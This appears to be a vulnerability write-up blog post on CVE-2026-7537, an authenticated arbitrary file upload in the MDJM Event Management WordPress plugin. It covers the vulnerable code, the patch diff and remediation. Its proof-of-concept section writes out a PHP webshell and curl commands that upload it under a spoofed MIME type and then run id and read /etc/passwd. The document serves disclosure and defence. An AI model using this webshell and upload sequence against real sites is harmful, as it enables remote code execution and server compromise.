MDJM Event Management WordPress plugin banner

CVE-2026-7537: Arbitrary File Upload in MDJM Event Management (CVSS 7.2)

Updated 6 min read

CVE-2026-7537 is a CVSS 7.2 (High) Arbitrary File Upload vulnerability in the MDJM Event Management WordPress plugin. An authenticated administrator can upload a PHP file through the Communications feature and achieve remote code execution on the server. All versions up to and including 1.7.8.3 are affected.

Vulnerability Summary

FieldValue
Plugin NameMDJM Event Management
Plugin Slugmobile-dj-manager
CVE IDCVE-2026-7537
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnrestricted Upload of File with Dangerous Type
Affected Versions<= 1.7.8.3
Patched Version1.7.8.4
PublishedJune 5, 2026
ResearcherRyan Kozak
Wordfence AdvisoryLink

Description

The MDJM Event Management plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.7.8.3 via the mdjm_send_comm_email function. This is due to no file type, extension, or MIME type validation being performed on uploaded files. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload files that may be executable, which makes remote code execution possible.

Technical Analysis

Vulnerable Function: mdjm_send_comm_email

The plugin registers a Communications page for administrators and DJ staff at WP Admin → Events → Communications (admin.php?page=mdjm-comms). This page presents a form that allows sending emails to clients, with an optional file attachment field.

When the form is submitted, WordPress dispatches the mdjm-send_comm_email action via admin_init. That action is handled by mdjm_send_comm_email() in includes/admin/communications/comms-functions.php.

Execution Path

Step 1 — Action dispatcher (includes/admin/admin-actions.php:48):

The mdjm_process_actions() function is hooked to admin_init. It reads $_POST['mdjm-action'] and calls do_action():

// includes/admin/admin-actions.php:33
add_action( 'admin_init', 'mdjm_process_actions' );

function mdjm_process_actions() {
    if ( isset( $_POST['mdjm-action'] ) ) {
        do_action(
            'mdjm-' . sanitize_text_field( wp_unslash( $_POST['mdjm-action'] ) ),
            $_POST
        );
    }
}

When mdjm-action is send_comm_email, this fires the mdjm-send_comm_email action.

Step 2 — File upload handler (includes/admin/communications/comms-functions.php:231):

function mdjm_send_comm_email( $data ) {
    if ( ! wp_verify_nonce( $data['mdjm_nonce'], 'send_comm_email' ) ) {
        $message = 'nonce_fail';
    } elseif ( empty( $data['mdjm_email_to'] ) || ... ) {
        $message = 'comm_missing_content';
    } else {

        // VULNERABLE BLOCK — lines 241–249
        if ( isset( $_FILES['mdjm_email_upload_file'] )
             && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {

            $upload_dir = wp_upload_dir();
            $file_name  = $_FILES['mdjm_email_upload_file']['name'];   // no sanitisation
            $file_path  = $upload_dir['path'] . '/' . $file_name;
            $tmp_path   = $_FILES['mdjm_email_upload_file']['tmp_name'];

            if ( move_uploaded_file( $tmp_path, $file_path ) ) {
                $attachments[] = $file_path;
            }
        }
        // ... send email
    }
}
add_action( 'mdjm-send_comm_email', 'mdjm_send_comm_email' );

Root Cause

Three issues combine to create this vulnerability:

  1. No extension check. The file name is used as-is. A file named shell.php is moved to the uploads directory as shell.php.
  2. No MIME type check. The $_FILES MIME type field is never inspected. An attacker can set Content-Type: image/jpeg while uploading a PHP file.
  3. move_uploaded_file() instead of wp_handle_upload(). WordPress’s wp_handle_upload() applies extension and MIME validation. Bypassing it with move_uploaded_file() removes all platform-level safeguards.

Because the WordPress uploads directory is web-accessible, the uploaded PHP file can be requested directly and its code executed by the server.

Access Level Required

The Communications page is registered with the mdjm_employee capability. An attacker must have Administrator-level access (or a custom MDJM staff role that grants send_comms permission). This matches Wordfence’s classification of “Authenticated (Administrator+)”.

Proof of Concept

Disclaimer: This proof of concept is for authorised testing and educational purposes only. Do not test against systems you do not own or have explicit written permission to test.

Prerequisites:

  • WordPress site with MDJM Event Management ≤ 1.7.8.3 installed and activated
  • Valid Administrator credentials

Step 1 — Log in and obtain a valid nonce.

Navigate to the Communications page while logged in:

https://example.com/wp-admin/admin.php?page=mdjm-comms

Extract the mdjm_nonce value from the page’s hidden form field:

# Save the page HTML (after authenticating with your cookie)
curl -s -b "wordpress_logged_in_...=<your-cookie>" \
  "https://example.com/wp-admin/admin.php?page=mdjm-comms" \
  | grep -o 'mdjm_nonce.*value="[^"]*"'

Step 2 — Upload a PHP webshell.

# Create a minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

# Upload it through the communications endpoint
curl -s -b "wordpress_logged_in_...=<your-cookie>" \
  -X POST \
  -F "mdjm-action=send_comm_email" \
  -F "mdjm_nonce=<NONCE_VALUE>" \
  -F "mdjm_email_to=1" \
  -F "mdjm_email_subject=Test" \
  -F "mdjm_email_content=Test message" \
  -F "mdjm_email_from_name=Admin" \
  -F "mdjm_email_from_address=admin@example.com" \
  -F "mdjm_email_event=0" \
  -F "mdjm_email_upload_file=@/tmp/shell.php;type=image/jpeg" \
  "https://example.com/wp-admin/admin-post.php"

Step 3 — Determine the upload path.

WordPress saves files to the date-based uploads directory. For June 2026, the path is:

/wp-content/uploads/2026/06/shell.php

Step 4 — Execute arbitrary commands.

curl "https://example.com/wp-content/uploads/2026/06/shell.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "https://example.com/wp-content/uploads/2026/06/shell.php?cmd=cat+/etc/passwd"

Step 5 — Verify exploitation.

A successful response shows server-side command output instead of PHP source code. The web server is executing the uploaded PHP file, confirming remote code execution.

Patch Analysis

Version 1.7.8.4 introduces two changes to fix this vulnerability.

Change 1 — New blocklist constant (mobile-dj-manager.php:160):

define( 'MDJM_BLOCKED_UPLOAD_EXTS', array(
    'php', 'php3', 'php4', 'php5', 'php6', 'php7', 'php8', 'phtml', 'phar',
    'asp', 'aspx', 'ashx', 'asmx', 'cfm',
    'cgi', 'pl', 'py', 'rb',
    'exe', 'bat', 'cmd', 'com', 'scr', 'msi', 'dll', 'vbs', 'ps1',
    'sh', 'bash', 'zsh',
    'jar', 'class',
    'htaccess', 'htpasswd',
) );

Change 2 — Extension check and wp_handle_upload() (comms-functions.php:241):

-        if ( isset( $_FILES['mdjm_email_upload_file'] )
-             && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
-            $upload_dir = wp_upload_dir();
-            $file_name  = $_FILES['mdjm_email_upload_file']['name'];
-            $file_path  = $upload_dir['path'] . '/' . $file_name;
-            $tmp_path   = $_FILES['mdjm_email_upload_file']['tmp_name'];
-            if ( move_uploaded_file( $tmp_path, $file_path ) ) {
-                $attachments[] = $file_path;
-            }
+        if ( isset( $_FILES['mdjm_email_upload_file'] )
+             && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
+            $file_ext = strtolower( pathinfo(
+                sanitize_file_name( $_FILES['mdjm_email_upload_file']['name'] ),
+                PATHINFO_EXTENSION
+            ) );
+
+            if ( in_array( $file_ext, MDJM_BLOCKED_UPLOAD_EXTS, true ) ) {
+                $message = 'comm_invalid_file';
+            } else {
+                $uploaded = wp_handle_upload(
+                    $_FILES['mdjm_email_upload_file'],
+                    array( 'test_form' => false )
+                );
+                if ( $uploaded && ! isset( $uploaded['error'] ) ) {
+                    $attachments[] = $uploaded['file'];
+                }
+            }
         }

The fix is effective for the listed extensions. wp_handle_upload() adds a second layer of defence by applying WordPress’s own allowed MIME type list. Because both checks are applied, an attacker cannot bypass one without hitting the other.

Timeline

DateEvent
June 5, 2026Vulnerability publicly disclosed by Wordfence
June 5, 2026Version 1.7.8.4 released with the fix
June 6, 2026Advisory last updated
June 7, 2026This blog post published

Remediation

Update MDJM Event Management to version 1.7.8.4 or later immediately.

  1. Go to WP Admin → Plugins → Installed Plugins.
  2. Find MDJM Event Management and click Update Now.
  3. Alternatively, download the latest version from wordpress.org/plugins/mobile-dj-manager/.

If you cannot update immediately, restrict access to the Communications admin page. Limit the mdjm_employee capability to trusted users only and monitor your uploads directory for unexpected PHP files.

References

  1. Wordfence Advisory — CVE-2026-7537
  2. CVE Record — CVE-2026-7537
  3. Researcher PoC — Ryan Kozak
  4. GitHub PoC — d0n601/CVE-2026-7537
  5. Vulnerable source (1.7.8.3) — comms-functions.php#L248
  6. Patch changeset
  7. MDJM Event Management on WordPress.org
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee